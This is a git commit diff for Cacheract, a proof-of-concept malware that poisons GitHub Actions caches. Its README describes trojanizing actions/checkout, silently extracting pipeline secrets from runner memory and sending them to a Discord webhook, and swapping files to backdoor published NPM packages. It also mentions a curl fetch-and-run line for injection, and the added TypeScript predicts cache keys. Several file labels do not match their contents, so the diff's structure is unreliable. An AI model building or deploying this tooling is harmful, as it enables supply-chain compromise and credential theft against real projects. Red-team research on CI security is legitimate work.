More readme updates, fixes, working towards cache key prediction

Author: AdnaneKhan

README.md

@@ -13,19 +13,18 @@
 
 Cacheract is a novel proof-of-concept for cache-native malware targeting ephemeral GitHub Actions build pipelines. The core idea behind Cacheract is that a poisoned GitHub Actions cache provides a direct path to arbitrary code execution and file modification within victim pipelines.
 
-Cacheract enhances this approach by opportunistically poisoning new cache entries to persist within a build pipeline. Its default implementation does not modify or build outputs but instead reports pipeline telemetry to a webhook.
+Cacheract enhances this approach by opportunistically poisoning new cache entries to persist within a build pipeline. Its default implementation does not modify or build outputs but instead reports pipeline telemetry and secrets to a webhook. Offensive Security practitioners can take advantage of Cacheract to simulate a compromised dependency in an upstream package. Typically, supply chain attacks target end consumers. This can be workstations or servers. However, Cacheract is designed to target Actions pipeliens exclusively - if it lands on a machine that is not a GitHub Actions runner, it will exit silently.
 
-Cacheract's most malicious behavior occurs when it executes in a default branch with a `GITHUB_TOKEN` that has `actions: write` permissions. In this scenario, Cacheract automatically downloads existing cache entries, updates the cache archive to include itself, deletes the old entry, and re-uploads the new, poisoned cache entry.
+Cacheract's most interesting behavior occurs when it executes in a default branch with a `GITHUB_TOKEN` that has `actions: write` permissions. In this scenario, Cacheract automatically downloads existing cache entries, updates the cache archive to include itself, deletes the old entry, and re-uploads the new, poisoned cache entry.
 
-In this scenario, Cacheract has the potential to persist for weeks or months. As long as a workflow runs every 7 days to warm the cache and the Cache holding Cacheract is not evicted, then Cacheract will continue to persist.
+In this scenario, Cacheract has the potential to persist for weeks or even months. As long as a workflow runs every 7 days to warm the cache and the Cache holding Cacheract is not evicted, then Cacheract will continue to persist.
 
-Cacheract supports GitHub-hosted Linux ARM and x64 runners. Due to configuration and permission differences, Cacheract does not operate on self-hosted runners, Windows, or macOS runners. Supporting MacOS and Windows GitHub hosted runners is an area for future research.
+Cacheract supports GitHub-hosted Linux ARM and x64 runners. Due to configuration and permission differences, Cacheract does not operate on self-hosted runners, Windows, or macOS runners. Supporting MacOS and Windows GitHub hosted runners is an area for future research - the main hurdle is a stable primitive to extract
+secrets from the runner's memory that doesn't require packing a native binary into this application.
 
 ## What Does Cacheract Do?
 
-Cacheract functions by overwriting the `action.yml` file for subsequent actions used within the pipeline to point to malicious, trojanized code. For this proof-of-concept, it targets `actions/checkout`, as most pipelines that use caching also check out code.
-
-You can easily extend Cacheract to poison other actions by configuring the modified `action.yml` within the `config.js` file.
+Cacheract works by overwriting the `action.yml` file for subsequent actions used within the pipeline to point to malicious, trojanized code. For this proof-of-concept, it targets `actions/checkout`, as most pipelines that use caching also check out code.
 
 Every time Cacheract runs, it reports information about the pipeline to a webhook. If the pipeline is using an `ubuntu-latest` runner, it uses memory dump techniques to silently extract all of the pipeline's secrets and sends them to a Discord webhook. Furthermore, the production build of Cacheract is near unnoticable within a pipeline. It executes during the Post Run phase of the `actions/checkout` reusable action and all stdout and stderr output is nulled.
 
@@ -43,13 +42,77 @@ This is particularly effective when simulating compromised NPM or PyPi packages.
 
 You can use [Gato-X](https://github.com/adnaneKhan/gato-x) to find projects that could be susceptible to Pwn Request or injection attacks that an attacker can use to deploy Cacheract.
 
+
 ### Propagation
 
 Cache keys and entries change frequently. To persist, Cacheract must opportunistically poison newer cache entries. Cacheract accomplishes this by checking all unique cache keys and versions that exist in non-default branches and setting a default branch entry for them. The basis for this approach is that pull requests updating files used to derive cache keys (e.g., lockfiles) typically set these entries within the merge reference scope. By pre-poisoning these entries, Cacheract can persist even after the original cache key changes.
 
+If there are no cache keys present, Cacheract will parse workflow files for cache key patterns, compute the cache key + version, and set the new value itself.
+
+### File Overwrites
+
+Cacheract supports "Replacements". A replacement is a file that cacheract will pack into a modified cache entry in addition to itelf. Replacements will fire upon the _second_ execution of Cacheract. Replacements
+are what you can use to demonstrate impact with Cacheract beyond information disclosure. A replacement could swap the `package.json` file of a target repository with a backdoored version, or silently swap out
+a source file prior to compilation (like Solarwinds!).
+
+The following is a Cacheract exploitation scenario where Cacheract executes in the `main` branch but does NOT have `actions: write` permission.
+
+1 -> Implantation: Cacheract runs in default branch of victim workflow via backdoored upstream, Pwn Request, Injection, or malicious Insider.
+2 -> Cache Identifiication: Cacheract identifies cache entries from non-default branches that do _not_ exist in `main`.
+3 -> Cacheract will not be able to download the file from the child branch, but it will be able to create a new one in main.
+
+Cacheract will simply add itself to an archive, AND add junk data to make the entry large enough to match the cache entry from
+the non-default branch.
+
+```
+/tmp/A
+/home/runner/work/_actions/actions/checkout/v4/
+/home/runner/work/_actions/actions/checkout/v4/action.yml
+/home/runner/work/_actions/actions/checkout/v4/dist/
+/home/runner/work/_actions/actions/checkout/v4/dist/utility.js
+```
+
+4 -> Now, let's suppose the operator configured a replacement for the `/home/runner/work/victimrepo/victimrepo/package.json` file. Cacheract will also add that file to the archive. Since Actions caches use `tar -P` to extract the archive, this will over-write the `package.json` file upon a cache hit.
+
+```
+/tmp/A
+/home/runner/work/_actions/actions/checkout/v4/
+/home/runner/work/_actions/actions/checkout/v4/action.yml
+/home/runner/work/_actions/actions/checkout/v4/dist/
+/home/runner/work/_actions/actions/checkout/v4/dist/utility.js
+/home/runner/work/victimrepo/victimrepo/package.json
+```
+
+5 -> Cacheract will archive the files and upload them to GitHub.
+
+6 -> If there is a subsequent workflow that has a cache hit on that key (let's say a release workflow), then it will end up over-writing the `action.yml` for checkout along with the `package.json` file.
+7 -> Workflow will perform unexpected activities during build. Example: package.json contains a second stage payload in a `prebuild` script, this script pulls down additional
+malicious files that modify the build output entirely and obfuscates the output in build, finally it cleans the `package.json` to normal state.
+8 -> Package on NPM contains obfuscated backdoor, which no trace of where the original source code came from.
+
+#### Replacements Configuration
+
+You can configure replacements by adding to the `Replacement[]` array in `src/config.js`. There are two ways to add a replacement. The first is a Base64 encoded string. This would be useful for smaller files like scripts or config files. The other replacement is a URL. Cacheract will make an HTTP GET request to
+download the file and then write it out. This is useful if you have a larger file and do not want the Blue Team to see it. If the file is not present at the URL, then Cacheract will continue without writing out that file.
+
+```ts
+export const REPLACEMENTS: Replacement[] = [
+    {
+        FILE_PATH: "/home/runner/work/Cacheract/Cacheract/hacked.txt",
+        FILE_CONTENT: "AAAAAA=="
+    },
+    {
+        FILE_PATH: "/home/runner/work/Cacheract/Cacheract/README.md",
+        FILE_URL: "https://raw.githubusercontent.com/AdnaneKhan/Gato-X/refs/heads/main/README.md"
+    }
+]
+```
+
 ## Building
 
-Cacheract is a Node.js application. Simply build it with `npm build`, and the artifacts for Cacheract will be placed in the `dist` directory. You should set the `DISCORD_WEBHOOK` value in the `config.ts` file prior to deploying Cacheract.
+Cacheract is a Node.js application. Simply build it with `npm build`. Cacheract is roughly 1.4 MB in size. Cacheract does not include obfuscation, but you can add this if desired via a webpack plugin.
+
+If you want to report telemetry, you should set the `DISCORD_WEBHOOK` value in the `src/config.ts` file _prior_ to building Cacheract.
 
 ```
 git clone https://github.com/AdnaneKhan/Cacheract
@@ -71,7 +134,8 @@ In an Actions script injection scenario, you could use `$(curl -sSfL https://you
 ## Future Work
 
 - Add conditional post exploitation flow. Cacheract is designed to allow operators to jump to more privilegd pipelines. Cacheract will heave features to detect when it is running in a more privileged pipeline and deploy additional code (such as for OIDC abuse, release tampering, etc.)
-- Dyanmic C2 capabilities. Support reaching out to specific domain for additional commands to execute. 
+- Dynamic C2 capabilities. Support reaching out to specific domain for additional commands to execute.
+- Termination date: Support automatically removing after a given date.
 
 ## Indicators of Compromise
 

package-lock.json

@@ -20,6 +20,8 @@
         "webpack-cli": "^4.10.0"
     },
     "dependencies": {
+        "@actions/exec": "^1.1.1",
+        "@actions/glob": "^0.5.0",
         "@actions/cache": "^4.0.0",
         "@actions/core": "^1.11.1",
         "@actions/github": "^6.0.0",

package.json

@@ -0,0 +1,76 @@
+
+
+
+import { join } from 'path';
+import os from 'os';
+import * as cache from '@actions/cache';
+import * as glob from '@actions/glob';
+import { getPackageManagerInfo, findLockFile, PackageManagerInfo, getCacheDirectories } from './cache_predictor/node';
+
+export interface CacheParams {
+    key: string;
+    version: string;
+}
+
+export interface NodeCacheConfig {
+    package_manager: string;
+    cacheDependencyPath: string;
+    node_version?: string;
+    node_version_file?: string;
+}
+
+
+export async function getNodeCache(config: NodeCacheConfig): Promise<CacheParams> {
+
+    const platform = process.env.RUNNER_OS;
+    const arch = os.arch();
+    const packageManagerInfo = await getPackageManagerInfo(config.package_manager);
+    if (packageManagerInfo == null) {
+        throw new Error(`Unsupported package manager: ${config.package_manager}`);
+    }
+
+    const lockFilePath = config.cacheDependencyPath
+        ? config.cacheDependencyPath
+        : findLockFile(packageManagerInfo);
+    const fileHash = await glob.hashFiles(lockFilePath);
+
+    const keyPrefix = `node-cache-${platform}-${arch}-${config.package_manager}`;
+    const primaryKey = `${keyPrefix}-${fileHash}`;
+
+
+    const cachePaths = await getCacheDirectories(
+        packageManagerInfo,
+        config.cacheDependencyPath
+    );
+
+    const version = await calculateCacheVersion(cachePaths);
+
+    return { key: primaryKey, version: version };
+}
+
+
+// export async function getPythonCache(params: type): Promise<CacheParams> {
+
+// }
+
+
+// export async function getJavaCache(params: type): Promise<CacheParams> {
+
+// }
+
+
+// export async function getGoCache(params: type): Promise<CacheParams> {
+
+// }
+
+
+// export async function getRubyCache(params: type): Promise<CacheParams> {
+
+// }
+
+
+export async function calculateCacheVersion(paths: string[]): Promise<string> {
+    var cacheHttpclient = require('@actions/cache/lib/internal/cacheHttpUtils');
+    const version = cacheHttpclient.getCacheVersion(paths);
+    return version
+}

src/cache_predictor.ts

@@ -0,0 +1,27 @@
+/**
+ * 
+ * The majority of code in this file is copied from the actions/setup-go repository
+ * at https://github.com/actions/setup-go.
+ * 
+ * * The MIT License (MIT)
+ * Copyright (c) 2018 GitHub, Inc. and contributors
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ *  of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ * 
+ */

src/cache_predictor/go.ts

@@ -0,0 +1,27 @@
+/**
+ * 
+ * The majority of code in this file is copied from the actions/setup-java repository
+ * at https://github.com/actions/setup-java.
+ * 
+ * * The MIT License (MIT)
+ * Copyright (c) 2018 GitHub, Inc. and contributors
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ *  of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ * 
+ */